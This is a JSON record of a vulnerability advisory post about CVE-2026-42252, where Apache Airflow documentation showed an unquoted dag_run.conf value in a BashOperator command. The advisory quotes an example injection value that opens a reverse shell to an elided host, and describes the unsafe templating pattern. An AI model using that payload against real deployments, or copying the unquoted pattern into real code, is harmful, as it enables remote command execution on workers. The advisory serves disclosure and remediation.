{"id":3704,"date":"2026-09-04T18:42:41","date_gmt":"2026-09-04T10:42:41","guid":{"rendered":"https:\/\/www.54iter.cn\/?vuln=cve-2026-42252"},"modified":"2026-09-04T18:42:41","modified_gmt":"2026-09-04T10:42:41","slug":"cve-2026-42252","status":"publish","type":"vuln","link":"https:\/\/www.54iter.cn\/?vuln=cve-2026-42252","title":{"rendered":"CVE-2026-42252 [CRITICAL] &#8211; Apache Airflow&#8217;s official documentation at `core-concepts\/dag-run.html` (&#8220;Passing Paramete"},"content":{"rendered":"<p>Apache Airflow&#8217;s official documentation at `core-concepts\/dag-run.html` (&#8220;Passing Parameters when triggering Dags&#8221;) showed a verbatim `BashOperator(bash_command=&#8221;echo value: {{ dag_run.conf[&#8216;conf1&#8217;] }}&#8221;)` example without any quoting \/ sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `&#8221;; bash -i &gt;&amp; \/dev\/tcp\/&#8230;\/9999 0&gt;&amp;1; #&#8221;` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache\/airflow` PR 64129 \u2014 the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Apache Airflow&#8217;s official documentation at `core-concepts\/dag-run.html` (&#8220;Passing Parameters when triggering Dags&#8221;) showed a verbatim `BashOperator(bash_command=&#8221;echo value: {{ dag_run.conf[&#8216;conf1&#8217;] }<\/p>\n","protected":false},"template":"","meta":[],"categories":[],"tags":[],"class_list":["post-3704","vuln","type-vuln","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/www.54iter.cn\/index.php?rest_route=\/wp\/v2\/vuln\/3704","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.54iter.cn\/index.php?rest_route=\/wp\/v2\/vuln"}],"about":[{"href":"https:\/\/www.54iter.cn\/index.php?rest_route=\/wp\/v2\/types\/vuln"}],"wp:attachment":[{"href":"https:\/\/www.54iter.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3704"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.54iter.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3704"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.54iter.cn\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3704"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}